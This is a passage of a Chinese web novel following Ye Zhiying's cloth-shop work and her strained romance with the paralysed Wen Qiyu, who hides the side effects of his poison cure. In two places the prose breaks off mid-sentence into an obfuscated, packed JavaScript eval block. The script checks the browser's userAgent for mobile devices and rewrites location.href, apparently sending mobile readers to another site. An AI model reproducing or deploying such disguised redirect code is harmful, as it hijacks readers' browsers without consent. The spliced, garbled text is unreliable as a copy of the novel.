可惜,她的话似乎并没有起到太大的作用,纵使那么卖力的推荐,王夫人还是什么都没买,空着手离开了,这让叶之萤十分沮丧。 “做生意是这样的,不可能每单都成交。”沈老板安慰她。 二人一起算了当日的营业额,八十八两,比上次还多七两。陈老板拿了十一两银子给她。 “沈老板,有句话不知当不当讲。”她欲言又止。 “但说无妨。”沈老板道。 “我们现在这样的模式可以让布庄的日利涨好几倍,不过,这样的状态恐怕维持不了太久。现在大家一窝蜂地跑来买衣裳,很多人其实是对我感兴趣,想来看个新鲜,但是这个新鲜感迟早会过去的,到时候,日利怕是要跌下去一些。还是得未雨绸缪,想一些新的手段才行。”这个问题是她今天才想到的,以色侍人,终不长久。 没想到,沈老板倒是很乐观:“那是自然!过一两个月,客流量肯定会有所回落。但是那会儿,我们的成衣定制已经有了一批稳定的客源,也算是靠这个打开了之前的困局;再者,抛开你的样貌,只说试穿这个模式,它也确实能提高顾客的购买欲望;更何况,很多顾客进店原本只买一条裙子或一件长衫,你却有本事让她们买走一套,甚至还给丈夫和孩子也各买一套,这靠的可不是外表,是货真价实的销售能力啊!有你在,店里生意再回落也比以前要好得多,还担心什么呢?我没有太大的野心,以现在的经营规模,若是每个月的利润能比以前上涨一倍,就很知足了!” 叶之萤听他这么说,也不好再多劝,便拿了银子跟他告辞了。 出门后,她先到满记茶楼跟阿力汇合,在那里把身上的首饰全取下来,检查没有损坏后悉数装回木匣。 又问起阿力:“今天从布庄出来又进首饰店的大概有多少人?” 这是她早上特意交代他的事情,他坐在茶楼门口的位置,两家店都能看得清清楚楚。 “进店的有十一二个,买了首饰出来的有四人。”他肯定地说。 “还不错!”她端起木匣,便朝首饰店走去。 归还了首饰,取回了自己的五两银子,赵掌柜也按约定付了她一两银子作为回报。 她照例去那家花铺买花,玫瑰已经售罄,荷花却开得正好,便挑了几只粉嫩的小荷。 “叶小姐,要不我们在外面吃完饭再回吧?”阿力突然提议。 叶之萤惊讶于他为何会如此提议:“你都在茶楼吃喝一天了,还没饱吗?” 他揉了揉肚子,尴尬地笑着:“哎呦,别说,是有点撑了,那边有卖糖葫芦的,我还是去买根山楂糖葫芦消消食吧。”说着,就跑到了卖糖葫芦的摊位前,买了一根山楂的。 叶之萤觉得阿力今日的举动有点奇怪。 路上,看他艰难地啃着那根糖葫芦,还不停皱眉,她实在忍不住说道:“这不是挺好的糖葫芦吗,怎么吃得你这么痛苦?实在吃不下就别为难了。” 阿力哭丧着脸说道:“叶小姐,我有点急,想去个茅厕。” 叶之萤指着不远处说:“这都快到家了,你忍一下可以吗?” 没想到,他竟然拔腿就往路边的林子里跑,边跑边喊:“不行不行,我忍不了了!”< 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进了大门,穿过庭院和前厅,步入回廊往内院一看,温其玉并没有在那张躺椅上等她。 之前他总是默默地等她,她却嫌天气太晚有潮气侵体,催他快回房,叮嘱他以后不要这么晚出来。可当他真的听她的话不等了,她又难免失望。 路过他窗前时,她发现他的房间窗户闭着,却没有上锁,便玩心大起,想吓他一下。于是突然推开窗,探头大喊一声:“嗨!” 果然吓到了他。床上的人听到她的声音,头明显向窗户方向扭来。但可能是受限于身体,还是没有扭到她的方向。可却让叶之萤看清了他煞白的脸色,以及慌张的神情。 “吓到你了?”叶之萤有些自责,可再一想,他应该不至于被这一声吼叫吓到吧? 床上的人已经恢复了淡定,他没有说话,只是扬起嘴角轻轻摇了摇头。 “啊……叶小姐,你不是说站了一天累了吗?还是先回房休息休息,待会儿再过来看少爷吧。”阿力急着把她往房里推。 “你今天怎么回事?”她刚刚就觉察到阿力有问题,这会儿更是确定他们有事瞒着自己,于是走到温其玉房门口欲推门而入,却发现门在里面锁上了。 “开门!”她对里面的人说。 “叶小姐,现在不方便开门。”荣祥在里面回应。 “他明明好好的穿着衣服躺在床上,怎么就不方便了?快开门!”看他们的极力阻挠的样子,她越发确定是温其玉身体状态出了问题,说话态度十分强硬。 “叶小姐,这会儿真的不方便!” 她不想再废话,直接跑到窗边,趁阿力还没来得及反应,就从窗户翻了进去。 “叶小姐,你……” 温其玉急忙回头往她的方向看。他皱着眉,眯着双眼,看向她的眼神异常用力。 他今日的神情明显与平时不一样,叶之萤一边仔细观察他的样子,一边询问床边伺候的荣祥:“他怎么了?” 66. 欲擒故纵 “少爷今日又用腥月草祛毒了。”荣祥解释道。 “这样啊!”叶之萤松了一口气,又急忙问道,“那这腥月草到底应该怎么用,林大夫研究清楚了吗?它到底有没有毒?” 荣祥点头道:“林大夫在《百草药典》上找到了有关于腥月草解毒的用法说明。腥月草本身是有毒的,之所以能解少爷身上的毒,也是以毒攻毒的原理。并且解毒不只是闻烟就行,而是需要双管齐下。” “双管齐下?”她对此很是好奇,“你继续说。” “也就是说需要结合两种用法。第一种是烟疗法,也就是将十克晒干的草药点燃并闻其烟,七日一次;还有水疗法,是将五十克新鲜草药用水煮开,以百倍热水兑之,每十日进行一次药浴。这两种方法结合起来,才可将体内毒素尽数祛除。” 荣祥说得很清楚,但是叶之萤却想到了另一个问题:“我们之前每天都用腥月草祛毒,这么看来确实用量太大了,那林大夫有没有说之前用了那么多腥月草,会不会对你家少爷身体造成什么损伤啊?” “这……”荣祥突然开始吞吞吐吐。 “怎么了?难道真的有影响?”他支支吾吾的态度让人很难不起疑。 “就是……就是……”荣祥紧张地看向床上的人,似乎是在等着他的指示。 直到床上的人微微点了点头,荣祥才继续说下去:“腥月草使用过量会影响大脑,不仅引发浑身剧痛,还会暂时影响语言功能以及……造成短暂的失明。” “什么?”她惊呼起来,又赶紧看向床上的人,怪不得他今日一句话都不说,怪不得他刚刚那样盯着自己看! “叶小姐,只是暂时,可以恢复的!”荣祥急忙解释。 “可是之前一直好好的呀?”即使是暂时的,她也还是不能接受。 “之前……之前其实……”荣祥闪烁其词。 叶之萤便已经明白了事情的真相。 “从什么时候开始的?”她问。 “是和全身痛几乎同时出现的症状。” 原来已经这么久了,只是她一直没有发现,或者说,是他刻意隐瞒不让她发现。 怪不得他发病后会将门栓上不准她进,怪不得有几次他发病后说话困难…… “多久能恢复?”她急忙询问。 “用药后一般两个时辰左右就能恢复。但今日比以往恢复得慢些。”他如实回答。 她慢慢走到床边,温其玉依旧皱着眉,很努力地看她的方向,却始终无法对上她的目光。 “现在能看到我了吗?”她蹲在床边,握住了他的右手,即使已经大暑天气,他的手却凉得彻骨。 荣祥也识相地离开了房间,只留她和温其玉两人在屋里。 温其玉微微点头,嘴唇慢慢开合几下,是在和她“说话”。 那是他时常挂在嘴边的几个字,熟悉到即使他不出声,叶之萤也能一眼认出来:“别担心,我没事!” “怕我担心,所以一直不告诉我。今天你应该是算准了时间用药的吧?原本算好了在我回来前能恢复,没想到却迟迟没有恢复,所以你就派人去通知阿力,想让我晚一点回来,没想到阿力使了浑身解数还是没能拦住我,更没想到你房里的窗户竟然没有拴上。如果今天没有被我撞见,你打算一直瞒着我吗?” 他躺在那里,将空洞的眼神缓缓闭上。体不能动、目不能视、口不能言,或许他也想不明白,老天爷究竟要让他再受多少苦才肯放过他? 叶之萤紧紧拉着他的手,可能是因为上了一天班实在太累,竟趴在床沿睡着了。 不知道过了多久,她听到温其玉在叫她:“叶姑娘,醒醒!叶姑娘?” 有一只手正用很轻的力量碰她的胳膊。 她迷迷糊糊睁开眼,清醒片刻后,发现是温其玉在用手推她,叫她起来。 “哎呀,我怎么睡着了!”她撑着床想要起身,却发现腰酸得厉害,腿也麻得难受,只能趴在床边先不动,等麻劲儿过去,又急不可耐问床上的人,“你怎么样?恢复了吗?” 温其玉看她难受得又是皱眉又是咧嘴的,眉头皱得比她还要深。直到目视她艰难地起身坐到了床边,脸上的痛苦也渐渐褪去,他这才开了口:“我很好,已完全恢复。那些症状都是暂时的,你无需担心。另外,我身边有专人照顾,无需你在此留守,请回吧。” 开口即是冷漠的驱赶。 “我只是关心你而已,你不用这么抵触。”叶之萤一边解释,一边打算去握他的手。 温其玉却提前看出了她的意图,先她一步制止她:“请叶姑娘自重。” 她纤长的手在那只无力的手上方滞住。 “你应当先照顾好自己,而不是拖着疲惫的身体趴在我床边睡觉,请回吧。”他再一次向她下了无情的逐客令。 “好。”叶之萤不想与刚刚恢复的他再争什么,只是收回手,指着榻上的那束花说,“我今天买了荷花。”便回房去了。 温其玉望着那个落寞离开的背影,心痛如刀绞,比用腥月草解毒更痛百倍。 方才叶之萤趴在他床边睡去,他担心她睡得难受,可是既他不能起身将她抱回房去,也不能为她盖上被子,甚至连叫她起来都发不出声。 他觉得自己就是个彻头彻底的废人,什么也不能为她做,只会害她担心,只会拖累她!他这样的人,有什么资格爱她? 不过,幸好还有一件事是他可以为她做的,这令他多少有些欣慰。那便是永远也不接受她! 翌日,叶之萤睡到接近午时才起床。出门洗漱时正好撞见阿力。 阿力一见她就咋呼起来:“叶小姐,原来你是因为没睡醒才没去少爷房里吃早饭啊?” 叶之萤倒是被他的话搞蒙了:“不然呢?你以为是因为什么?” “我没以为什么,是少爷,他……他以为你生气了。”阿力一边说,一边掩着口鼻偷笑。 “所以,你是在嘲笑你家少爷傻吗?”她越来越喜欢逗阿力了。 阿力吓得一个激灵,赶紧挥手否认:“你可别瞎说!” 叶之萤笑道:“你不用这么谨慎,我不会告诉他的!对了,你帮我个忙呗!” “什么忙?”听她这么说,阿力不自觉后仰,嘴上虽没说什么,身体已然开始排斥。 她一把将他拉过来:“看你吓得,不是找你借钱!不为难你!就是,别告诉他你见过我,让他继续误会着。”说完,还不忘问一句,“是不是很简单?” “这样啊,那万一少爷知道了……”他还是有些犹豫。 “哎呀!你也太胆小了吧!你在这儿碰到我的事只有你我知道,你也不说,我也不说,你家少爷怎么会知道?”说完,还不忘恭维起他来,“这么小的事情,力哥你一定可以做到的。” 这个阿力什么都好,唯独对温其玉有种让人理解不了的愚忠。 “好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991689|193740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧!”软磨硬泡后,他终于答应了。 随后,叶之萤去厨房找了些吃的拿回房吃,中午也没有去温其玉房里吃饭。 饭后,阿力偷偷过来报信说:“少爷午饭一直吃得心不在焉,几次问我们你为何还不来,我说我过来叫你他又不让。” “是吗?”叶之萤心里很是得意,看来一切尽在自己的掌控中。 “叶小姐,你明明没生气,这样对少爷是不是不太好?” “这就心疼你家少爷了?放心吧,我自有安排。”她嘴上这么说,心里却想着:这叫欲擒故纵,你个小屁孩懂什么呀! 到了下午,终于有人敲门,她激动地跑过去开门,却发现是阿力为她端来了晚饭。 “他让你端来的?”她急忙向他身后张望,发现门外只有他一个人。 “是。” “他有没有说要过来?”她继续打听。 阿力摇头道:“没有啊!” “那他下午有没有再问我?” “少爷说你如果不想过去吃饭,就让我把饭送你房里。” “不应该啊,你是不是说漏嘴了啊?”她开始怀疑阿力。 “绝对没有!”阿力指天盟誓。 原本叶之萤只是假生气,想借着温其玉来跟自己道歉打开他的心结,没想到玩脱了,他明知道自己生气了竟然能忍住一天都不来道歉,这下她真的被他惹恼了:“气都气饱了,哪里还吃得下饭,端走吧!” 阿力也蒙了:“你不是假生气吗?” “现在是真的了!”她“啪”地一声关上了门,转身坐在凳子小声骂道,“好你个温其玉,竟然真的不来找我!” 气了一会儿,又觉得自己实在莫名其妙。温其玉根本从头到尾都没有接受过自己,他凭什么非得来哄自己?自己又凭什么生气? 从头到尾都是自己自导自演罢了,一厢情愿地认为温其玉知道自己生气就会忍不住来哄自己,结果猜错了,又恼羞成怒。 温其玉啊,实在是一块难啃的骨头! 她沮丧地趴在床上,把脸埋在被子里。 不知过了多久,又有人敲门。她猜肯定又是阿力来送饭,便冲外面大喊:“告诉你家少爷我不吃饭,让他别再送了。” “是我。” 她瞬间从床上弹了起来。 是温其玉! 想去开门,又不免故作姿态:“有事吗?没事的话就请回吧,我已经睡了。” 门外果然再没了声音。 叶之萤真想扇自己两巴掌!明明盼着他来,现在他来了,又口是心非要把他作走…… 温其玉,你千万别真走! “若是不方便开门,我就在外面说吧。”还是他的声音。 叶之萤长舒一口气,忐忑的那颗心终于平稳落下。 她再也不敢玩火了,赶紧过去开了门。温其玉一个人坐在门外,想必是阿力推他过来敲了门就先离开了。 “在外面说,你不嫌丢人我还嫌呢!”她一边嘴上嫌弃,一边心里偷乐,把他推进了屋。 一进屋,温其玉就对她说:“昨日我的语气重了些,你……” 果然是来道歉的! 叶之萤又开始拿腔拿调:“昨天的事情今晚才来道歉,太晚了,不原谅!” 本想着他能哄哄自己,不曾想他竟然说:“你若不原谅,我也没办法。我也不是来求你原谅的。” ???!! 67. 玩儿脱了…… “你的决定影响不了我,…… “你说什么?”叶之萤迅速绕到温其玉面前,又惊又气地看着他。 他说他不是来求自己原谅的! 那他来干嘛? 他仰头看着她,表情依然平静,显然是有备而来:“叶姑娘,你我作为好友,相处时应当守住好友间应有的界限,还望你不要对我有超越好友的举动,更不要对我抱有不切实际的幻想。” 奇怪,他明明没有任何动作,只是坐在自己面前平静地开口,可叶之萤却觉得有什么东西一锤一锤砸在自己脑袋上,将她砸得头晕目眩。 “你什么意思?”她一屁股坐在身后的凳子上,与他平视而望。 “希望你不要再耍今日这般把戏,与其等着我来哄你,不如想一想我昨日为何会那样说。”他的声音和他的表情一样冷漠。几个月以来他对她的照顾让她差点忘记了,与他初见时,他就是这样的态度。 向来一点就燃的叶之萤此时已经气急败坏:“我就是想不通你为什么那么敏感!不就是在你房里陪了你一会儿吗?不就是不小心睡着了吗?你至于这么抗拒吗?难道我没有关心朋友的权利吗?” “朋友?”他冷笑起来,“若真当我是朋友,你为何要次次在我面前假装生气,又次次等着我来哄你?若只当我是朋友,你又为何要送那意义非凡的红玫瑰给我?叶姑娘将这些僭越之举通通称为朋友间的关心,不会心虚吗?” “我心虚?我心虚什么?我早就在你面前大方承认喜欢你了,总比有些人敢做不敢当的好!反倒是你,你才应该心虚吧!” “我行事坦荡,有何心虚?” …… 行事坦荡?!他竟然如此理直气壮、大言不惭! 叶之萤被他的话气得从椅子上弹了起来:“你坦荡?行,你坦荡!我懒得跟你掰扯。或许在你心里,我就是个没脑子的傻瓜,你说什么我都信,所以连这么离谱的谎话你都敢说得这么自信!” “你冷静一点。”他见她如此歇斯底里,试图劝她。 叶之萤深深地喘了好几口气,终于让自己不再那么激动,又蹲在他面前,慢慢开口道:“我已经知道了,你今天来是和我划清界限的。你有你的想法,我明白,也知道自己无论如何都说服不了你。但是有时候,你真的不用活得这么累,也不需要给自己戴上那么重的枷锁!我还要告诉你一点,你的决定影响不了我,我依然会做我认为该做的事情!温其玉,我不会放弃的!” “朽木不可雕也!”他的声音如三九天刺骨的寒风,穿透叶之萤的骨肉,将她体内温热流淌的鲜血都冻成了冰碴。血管脆得一动就碎,渣子再扎进骨肉里,疼得她不能呼吸。 她蹲在他面前,一动都不敢再动,只是无声地流泪,又不免在心里幻想,他看到自己如此痛苦的样子,会不会后悔?会不会心软? 但事实证明,自己太小看了他的决心。 他就坐在对面冷漠地看着她哭,像块没有心的冰冷而坚硬的石头,直到阿力来将他推走。 后面三天,叶之萤都赌气没有去找他,而据阿力说,温其玉也没有再问过一次她的情况,就好像这个宅子里没有她这个人一样。 第四日一早,关若飞回来了,一回来就命阿卓来找她。 叶之萤一听是叫她去温其玉房里,便推脱道:“我就不过去了,有什么事让你家衙内一会儿来我房里说吧。” 可待在自己房里同样不得安宁,身体里那颗心脏似乎正值青春期,叛逆地在胸口撞来撞去,分明是急着要去隔壁,任她怎么劝都不听话。 “怎么这么没出息!”她怒其不争地对着自己的胸口骂了一句。 那颗心似乎是生气了,在里面撞得更厉害了。 这可怎么是好?若是现在主动腆着脸过去,那自己以后在那人面前还怎么抬得起头?不行!绝对不能去! “咚咚咚”,又有人敲门。 打开门一看,是阿力。 “怎么?你家少爷也让你来叫我?”她故作矜持道。 “不是……” …… 她气得就要关门,被阿力用手挡住:“是关衙内,他命我定要把你叫过去。” “不去!”她没好气道,话音刚落,从隔壁房里又出来了一人。 “夜莺,我日日都想你,你不想我吗?”关若飞迈着大步来到了她房门口。 他比离开时黑了不少,也瘦了一些,看起来更成熟了,身上多了一种成熟男性的魅力。 但一开口就露了馅。 叶之萤心生一计,接上他的话大声道:“当然想!你这次回来,比以前更帅了!” 关若飞被夸得喜笑颜开:“怪不得你不肯过去,莫不是嫌我没亲自过来邀请?” “知道就好!” “方才跟兄长在房中议事,是我不对,现下亲自过来邀请,不知能否博美人原谅?”他笑道。 “看你认错态度不错,姑且原谅你。”叶之萤终于有了正大光明到隔壁去的理由。 可真当进了这间屋子,她又觉得浑身不自在了,连刚才泼辣的劲头也偃旗息鼓,身前仿佛有堵无形的墙挡着,令她再也迈不出步子,只好在门口收脚站定。她的眼神飘来飘去,明明想看到那个人,却像是迷路了一般,怎么也飘不到那个人的方向。 “快来,你看我给你带什么了!”关若飞自己先走到了软榻旁,从上面放着的一只包袱里取出了一件物品,又招呼叶之萤过去看。 叶之萤低下头,目光始终看着地面,躲开那人的脸,到床边后,又赶紧侧身背对床头站着。 包袱旁还放着一封打开的信,旁边有一个信封,她只看清上面写着一个“玉”字,想必是给温其玉的。看信的摆放,关若飞应该已经给他读过了。 关若飞快速将信折了起来,重新放回信封里,又将那个物品递到她面前。 她站在那里好不自在,只觉得身后那双眼睛一直盯着她,后背被盯得直发烫。 “夜莺?怎么了?”关若飞看出了她的紧张。 “哦,没事。你要给我看什么?”她赶紧打了个岔。 “这个!你猜是什么?”他果然很好糊弄,完全没有深究,举起了手中那支长长的圆锥形状的东西。 那是一支眉笔,叶之萤一眼就认出了,笔身洁白,形状如螺,她在电视剧上见到过。 “是‘螺子黛’?”她不自信地猜测。 关若飞显然没想到她会认得此物:“你竟然知道?” 她笑了起来:“这东西在我们那儿,简直太有名了!” 人也比刚才放松了许多。 “啊?你们那里也有?”关若飞显然是有些失望,目光向叶之萤身后望了一眼。 她赶紧解释:“没有没有,只闻其声,未见其貌,今天总算见到这大名鼎鼎的螺子黛了。” 听她这么说,他又来了兴致:“这是我托人从波斯带回来的,喜欢吗?” “当然喜欢,没想到我也是拥有螺子黛的人了,哈哈!”这话其实略带调侃,但在不知《甄嬛传》为何物的关若飞听来,便是不参着任何杂质的欢喜。 “对了,这很贵吧?”她问他。 “当然了,贵的东西才配得上你啊!还有,这东西我身边除了你,没人用得上,我花了那么大功夫才买到,你可千万别推辞!”他已经先她一步堵死了她推辞的理由。 “那我就却之不恭了,谢谢!”其实就算关若飞不说那番话,她今日也不打算拒绝他的,至少在温其玉面前,她得高高兴兴地收下它。 见她爽快收下了自己的礼物,关若飞高兴地振臂一呼,又蹬鼻子上脸:“夜莺,那日走得急,都没来得及与你打招呼,原本与你相约爬山,结果爽约于你,这几日我闲来无事,不如明日我们就去,如何?” 关若飞还真是说风就是雨。 可是叶之萤心情不佳,根本没心情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“怎么会!布庄一个月才去三次,一点也不累。”叶之萤嘴上如是回答,心里却在吐槽,被你兄长气得吃不下睡不着,能不瘦吗? 关若飞却一拍大腿,大声道:“那就是兄长的过了!” 吓了叶之萤一大跳。 只见他对着床上的人抱怨起来:“兄长,我走之前可是托你定要照顾好夜莺的,你如何能眼看着她清瘦至此!” 原是一句玩笑,床上的人却真的心虚起来。 叶之萤也怒气渐盛,她倒想听听温其玉会如何解释。 床上之人沉默片刻,惜字如金道了一句:“抱歉。” 叶之萤到底也没明白这句“抱歉”是对谁说的。 关若飞看自己玩笑似乎开大了,又忙着解释:“弟弟胡言乱语的,兄长千万莫当真,夜莺这么大的人了,凡事自有她的考量,兄长又如何能事事控制?” 说者无心,听者有意,床上的人再没开口。 关若飞不明白自己这句话哪里说得又不对了,只好换了话题:“夜莺,给我讲讲你在布庄的事情呗!” 叶之萤眼看这屋里的空气渐渐凝固,便提议:“‘沈氏’的事说来话长,要不你到我房里去,我给你慢慢讲?” “这样啊……”他看了一眼床上的温其玉,又看了看荣祥,然后似懂非懂答应道,“那好吧。” 直到离开这间屋子,叶之萤都始终没有去看床上的人,一眼也没有。 她只是看到当她和关若飞聊天时,床边站着的荣祥会时不时看看床上的人,而后脸色就越来越阴,直到他们一起坐在榻上打闹,荣祥再也忍不了了,偷瞪了她好几眼。但当床上的人又轻咳了两声后,他很快就低下头去,一副被人责骂不敢抬头的样子,再也没看她一眼。 坐在榻上时,叶之萤刻意躲开床上之人的视线,悄悄望了眼床头的青玉花瓶,瓶里什么也没插,而她买的那几只小荷也不见踪影…… 68. 冷战 整整一上午,关若飞都赖在叶之萤房里不肯离开,恨不得将她这一个多月的生活连几点睡觉几点起床都打听得清清楚楚。 “你这一个月去哪儿了?怎么几次都走得那么突然?”她并不是真的对他的行程感兴趣,纯粹是被他问烦了,才想办法把话题引到他身上,并提起茶壶给他杯子里添了些水。 “我去蒙州了。”他道。 “蒙州?”她把茶壶按在桌上,激动道,“就是那个与……阿尔钦接壤的地方?温其玉做大将军时驻守的地方?” 阿尔钦——就是给温其玉下毒的那个国家!叶之萤将壶把紧紧握住,关若飞瞥了一眼她已经指节发白的右手,轻轻地点了下头。 “邺国真拿阿尔钦没办法了吗?”她继续追问。 他无奈摇头:“兄长镇守边境那几年,阿尔钦倒是一直被邺国压制着,不敢轻易造次。但是这一年来,邺军与阿军交战负多胜少,阿尔钦亦如一头被困了许久终于重获自由的猛兽,频频在边境惹事挑衅邺国,惹得民不聊生,蒙州首当其冲深受其害,如今正是民怨四起、祸乱频出。” 怪不得他们要费尽心思把温其玉折磨成这样。她紧咬牙关,恨不能将侵略者碎尸万段。 “查到李渔背后是谁了吗?”她问。 关若飞从她手里夺过一直被她紧紧攥着的茶壶,给她添了水,道:“查到了,但夜莺,此事与你无关,你就不要再问了。” “是他不让你说吧?” “是我们二人共同的想法。夜莺,此事就到此为止,可好?” “当然,这件事虽然是由我发现的,但说到底也不是我的事。既然你们不想说,那我以后不问了!”话已至此,她也不必再自讨没趣了。 关若飞听她话里有话,知她是生气了,忙问她:“螺子黛要不要试一下?” 她白了他一眼:“你可真不会转移话题!” 刚试完螺子黛,阿卓就过来叫二人去前厅吃饭,说是为关若飞接风。 叶之萤来这里几个月了,还从来没有去前厅吃过饭,今日这顿接风宴可真不是一般隆重。 她原本不想去,但又不想让关若飞看出她和温其玉的异常,只好装作若无其事随他一起过去。 路过温其玉门口,正好碰到荣祥也推着他出门,他今日穿着白色真丝长衫,外搭一件紫色团鹤暗纹锦袍,布料流光溢彩,即使“沈氏布庄”最好的料子也不及其百分之一。 不等他看自己,叶之萤便将头扭到另一侧,等他的轮椅推到了前面,才跟在后面慢慢往前厅走去。 前厅的八仙桌上已经摆好了饭菜,叶之萤数了一下,一共十二盘菜,菜量不大,却个个精致。 原本前厅每日都有下人们来回走动,可这会儿一个也见不到,想必是特意清空的。 桌椅后面的檀木架上摆着一只不大的白瓷缸,里面飘着两片碧绿的荷叶,还有三只粉嫩的荷花错落地插在其中,一只已然完全绽放,另外两只则含苞待放,亭亭玉立,盈盈欲滴。 原来它们被安排到了这里。 温其玉先被荣祥推到了主坐,关若飞则为叶之萤拉开了温其玉左边的座位。 她不想坐在温其玉身侧,便走到他对面的位置,正要落座,却被关若飞一句“不可!”吓得一屁股弹了起来。 “为什么不行?”她低头仔细去检查身下的凳子,没脏啊! “坐西面东为尊,坐北面南次之,坐南面北再次之,兄长坐在主位,我们便要坐在他两侧,坐东面西为最卑位,不能坐。”关若飞耐心为她解释。 紧张了半天,原来就是这个原因,她摇了摇头,随口嘟哝了一句:“这么多讲究!”便走到温其玉左边的座位坐下。 刚一坐下,关若飞就指着温其玉身后的那缸荷花说:“这荷花插得真好啊!青鹊的插花手艺是愈发好了,赶明儿让她给我也插一瓶。诶,这好像不是院里的荷花吧?” …… 空气顿时变得有些厚重,叶之萤与温其玉各怀心事,没人接他的话。 这顿饭,叶之萤从头到尾一言不发,只是埋头干饭,甚至连头都很少抬。 而温其玉,他一口饭都没吃,就坐在那里听关若飞给他讲蒙州如今的情况,偶尔再问几个问题。 关若飞是最忙的,他既要吃饭,又要和温其玉说话,抽空还要帮叶之萤夹个菜。 “夜莺,你今日有些奇怪!”话题终于转移到了叶之萤身上。 她矢口否认:“怪?没有吧!” “你平时话很多啊,为何今日如此安静?” “你们说的我也听不懂,就不插嘴了。”她夹了一口米饭塞进嘴里,频率极快地嚼了起来。 谁知,他又问:“你紧张什么?” “我没有紧张啊,你看错了!” “可你明明……”他还想继续追问。 “我吃饱了,先回房了!”终止这令人崩溃的话题最好的办法就是逃跑,于是她放下筷子,起身就要走,却又被关若飞一伸胳膊拦住,“哎哎……先别走……” “你还有事?”她站定问他。 “我从蒙州带了些阿尔钦的乳酪,让厨房做成乳酪酒,待会儿端上来你尝尝。”他已经笑开了花,但叶之萤怎么觉得他的笑那么不怀好意呢?乳酪酒?好耳熟!在哪儿听过呢? 终于想起来了! “关若飞,你故意的吧!”她咬牙切齿地瞪着他。 他早已笑得前仰后合,还不忘跟温其玉吐槽:“兄长,这夜莺的记性何时变得如此差,连乳酪酒都不记得了!哈哈哈。” 温其玉只是敷衍地点了下头,并没有接话,也没有笑。 叶之萤倒是又重新坐了回去:“那就尝尝吧,我也想知道到底是怎样的味道能让你如此魂牵梦萦!” 关若飞见她来了兴致,那张贫嘴又放肆起来:“这才对嘛!我就喜欢你伶牙俐齿的样子!” 毫不意外收获了叶之萤的一枚白眼。 趁阿卓去取乳酪酒的间隙,他们又谈起了蒙州之事,听关若飞话中的意思,蒙州怕是要守不住了。 “那怎么办?难道真的要割地求和?”她跟着心急,忍不住加入了话题。 一提到此事,关若飞就连连摇头叹气。 “所以你去蒙州,是为了战事?”她又问。 “哦,那倒不是,我对这种事一向不关心,去蒙州乃是因为我叔父一家在那里定居,如今那里局势动荡, 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他这一笑,叶之萤就意识到自己被戏弄了,本就欠佳的心情更郁闷了。恰好此时乳酪酒也被阿卓端来,浅尝一口后,一股难以形容的酸腐味道瞬间在她胃里膨胀,郁结的心被挤压得更加憋闷,扔下一句“你们聊吧”,便回房去了。 半个时辰后,阿力又过来她房里,说温其玉让她过去一趟。 她大吃一惊,没想到温其玉竟会主动找她,本想拿腔作势一番,又怕踹走了这把梯子就再没梯子可下了,便跟着阿力过去了。 关若飞也在,一见到她,立马向她道歉:“中午是我玩笑开过了,夜莺,你别往心里去。” “戏弄我很有趣吗?”叶之萤冷着脸反问他。若换了往常,这样的玩笑叶之萤是断不会生气的,她本就不是小气之人,可谁让她今日心情不好,关若飞不巧撞在了枪口上。 “不是不是!”关若飞连连摆手,“只是我去蒙州的原因不便透露,所以……” 原来是有难言之隐。 “所以就怪我多嘴呗!”叶之萤气不打一处来,借题发挥,“既然不便透露,刚才干嘛又叫我一起吃饭?说来说去还是怪我太迟钝,不该赖在那里不走,妨碍你们说要紧事,以后我会自觉些,没有重要的事不会再靠近你们了!” “不不不,夜莺,你别这么说,我不是这个意思!”关若飞看事态愈发严重了,不知所措地向床那边看去,指望床上的人能救他一把。 温其玉心知肚明叶之萤的这团怒火是冲自己烧的,无辜的关若飞不过是被自己牵连,可他更知道此时自己除非低头认错,当场承认喜欢她,否则无论说什么,都只会刺激叶之萤更生气,非但灭不了火,还会火上浇油,于是也只能闭口不言。 叶之萤看床上的人并不打算说话,心想那他叫自己过来干嘛?于是瞪了那人一眼,道:“没话说我就不打扰了!” 关若飞伸手拦住了她:“夜莺,其实是我叫你过来的。我怕你不愿意见我,才假以兄长的名义。” 原来温其玉根本没递梯子给她!又自作多情了! 那边,关若飞却说:“我方才与兄长商议了一下,不能让你再误会我了,我决定告诉你我去蒙州的真相。” “真相?什么真相?”叶之萤收起失望,诧异地反问关若飞。 69. 游雁湖 “是我派若飞去蒙州的。”床上的人开口了,这是几日以来他与叶之萤说的第一句话,语气听上去和之前无差。 “是吗?”叶之萤没法像他那样装得好像什么都没发生过。她心中仍然有一团怒火无处宣泄,只能敷衍回答,眼睛依旧不看他。但另一方面,他们愿将这样的秘密告诉她,她意外之余也不免开心。这一开心,怒气自然就被冲淡了。 温其玉继续道:“前阵子蒙州战事吃紧,边关首领年纪尚轻,带兵作战经验不足,朝廷希望我能给予他一些排兵布阵方面的帮助。但我如今行动不便,无法亲临战场,便只能以书信代之。” “可是你们的皇帝为什么要找一个经验不足的孩子带兵呢?这不是明摆着送羊入虎口吗?他是怎么想的?”叶之萤不搭温其玉的腔,转头向关若飞表示自己的不解。 “嘘!嘘!小声些!”关若飞立马跑过来捂住了她的嘴。 “你……干嘛呀!”她扯掉嘴上那只手,瞪着关若飞。 “叶姑娘,日后若有旁人,请一定谨慎开口,莫要妄议圣上,以免招惹祸端。”温其玉提醒她。 叶之萤明白了,但还是不想和温其玉搭腔,便假装没有听见。 